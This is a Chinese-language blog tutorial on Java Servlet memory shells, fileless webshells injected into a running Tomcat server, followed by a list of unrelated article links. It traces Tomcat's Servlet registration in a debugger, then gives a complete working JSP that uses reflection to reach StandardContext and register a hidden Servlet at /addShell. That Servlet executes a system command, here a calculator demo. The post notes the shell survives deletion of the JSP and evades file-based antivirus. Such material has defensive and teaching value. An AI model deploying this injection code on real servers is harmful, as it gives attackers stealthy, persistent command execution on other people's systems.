当前位置: 首页 > backend >正文

Java安全-Servlet内存马

内存马简介

内存马是指将恶意代码注入到内存中,达到无文件落地的效果,使得被攻击方难以察觉。由于是无文件的形式,可以绕过部分基于文件检测的杀软。而 Servlet 内存马是基于 Java Servlet 技术,动态将恶意代码注入到 Tomcat 内存中的一种技术。

Servlet 搭建

选择“新建项目”,勾选“Web 应用程序”,然后点“下一步”。

这里需要修改为自己的 Java 版本,勾选 Servlet,完成创建。

创建好后默认是用注解的形式注册 Servlet,不过不影响。

找到 pom.xml,添加下面这段,并下载源代码用于后续断点分析。

<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><!-- 版本按照本地Tomcat版本来 --><version>9.0.84</version>
</dependency>

如果无法下载源代码,在项目根路径运行下面命令,然后再下载。

mvn dependency:resolve -Dclassifier=sources

运行 Tomcat,能访问这个页面就说明程序没问题。

Tomcat 中 Servlet 的注册流程

双击 Shift,搜索 ContextConfig。

找到 configureContext 方法,打个断点,开始调试。

观察下面的参数值,可以看到这里传入了三个 Servlet,前两个是系统默认的,第三个是我们自己定义的。

然后继续往下调试,走到这个 for 循环,这里遍历最开始获取的 Servlet,创建了一个包装器来包装 Servlet 的基本信息。

往下走就是对 Servlet 的一些基本赋值。

继续往下调试,这里用 context.addChild(wrapper) 把包装好的 Servlet 加到 context 里,同时对 servletMappings 添加映射关系。

到这里,其实只要控制好 addChild 和 addServletMappingDecoded 就能动态注册 Servlet,但问题是 context 是什么?

我们回到调试界面重新调试,走到这里可以看到,context 其实是 StandardContext,它下面还有个 ApplicationContext,按用户传入的流程应该是 ApplicationContext.context -> StandardContext.context。

这样反向推导可能会让各位彦祖很迷惑,其实可以直接在我们自定义的 Servlet 里下断点,然后浏览器访问这个 Servlet 触发调试。

在表达式这里写入 request.getServletContext(),可以看到返回的是 ApplicationContext.context -> StandardContext.context,正好对应上面说的。

Servlet 内存马原理与实现

假设服务器能上传 JSP,我们就在 Web 目录里建个注册内存马的 JSP 文件,完整代码如下:

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page language="java" pageEncoding="utf-8" contentType="text/html; charset=UTF-8"%><%!
public class ShellServlet extends HttpServlet{@Overrideprotected void doGet(HttpServletRequest request,HttpServletResponse response) throws IOException {Runtime.getRuntime().exec("calc");}
}
%><%request.setCharacterEncoding("utf-8");response.setCharacterEncoding("utf-8");response.setContentType("text/html;charset=UTF-8");out.print("你充Q币吗?");// 从请求对象获取 ApplicationContextServletContext servletContext = request.getServletContext();Field applicationContextField = servletContext.getClass().getDeclaredField("context");applicationContextField.setAccessible(true);ApplicationContext appContext  = (ApplicationContext)applicationContextField.get(servletContext);// 从ApplicationContext中获取StandardContextField standardcontextField = appContext.getClass().getDeclaredField("context");standardcontextField.setAccessible(true);StandardContext standardcontext = (StandardContext)standardcontextField.get(appContext);// 注册恶意ServletWrapper wrapper = standardcontext.createWrapper();// 传入Servlet名字wrapper.setName("ShellServlet");// 传入Servlet映射类名+实例化类wrapper.setServletClass(ShellServlet.class.getName());wrapper.setServlet(new ShellServlet());// 将包装器添加到contextstandardcontext.addChild(wrapper);// 添加路由Servlet映射关系standardcontext.addServletMappingDecoded("/addShell",wrapper.getName());
%>

把写好的内存马放到 Web 目录后,直接访问恶意 JSP,完成注册 Servlet。

接下来访问我们注册的恶意 Servlet 路径 /addShell,成功弹出计算器。

由于恶意 Servlet 已经注入到 Tomcat 中,即使删掉 shell.jsp,恶意代码依旧存在,除非重启 Tomcat 服务。

http://www.xdnf.cn/news/7806.html

相关文章:

  • 基于多传感器融合的智能驾驶环境感知系统
  • 【java第19集】java面向对象编程详解
  • MyBatis:简化数据库操作的持久层框架
  • 高噪声下扩展边缘检测算子对检测边缘的影响
  • windows powershell 判断 进程号是否存在
  • 无人机桥梁巡检
  • linux文件重命名命令
  • MIL-C-5015航空插头2芯震动加速度传感器连接器
  • 五、【API 开发篇(下)】:使用 Django REST Framework构建测试用例模型的 CRUD API
  • 云原生安全之PaaS:从基础到实践的技术指南
  • 谈谈 Kotlin 中的构造方法,有哪些注意事项?
  • 【Django系统】Python+Django携程酒店评论情感分析系统
  • 【Java微服务组件】异步通信P2—Kafka与消息
  • [杂学笔记]浏览器多进程与多线程架构、wstring类型、哈希表、红黑树与哈希表的对比、C++标准库Random类
  • 影响镍钯金PCB表面处理价格的因素有哪些?
  • Spring事务简单操作
  • 【低代码】如何使用明道云调用 Flask 视图函数并传参(POST 方法实践)
  • vue-cli 构建打包优化(JeecgBoot-Vue2 配置优化篇)
  • Hadoop-HA高可用集群启动nameNode莫名挂掉,排错解决
  • digitalworld.local: FALL靶场
  • Mysql-数据闪回工具MyFlash
  • SQL查询, 响应体临时字段报: Unknown column ‘data_json_map‘ in ‘field list‘
  • leetcode 92. Reverse Linked List II
  • 张 Prompt Tuning--中文数据准确率提升:理性与冲动识别新突破
  • 分类算法 Kmeans、KNN、Meanshift 实战
  • maven之pom.xml
  • 【25软考网工】第七章(3) UOS Linux防火墙配置和Web应用服务配置
  • OpenHarmony外设驱动使用 (九),Pin_auth
  • 国产化Excel处理组件Spire.XLS for .NET系列教程:通过 C# 将 TXT 文本转换为 Excel 表格
  • 物业后勤小程序源码介绍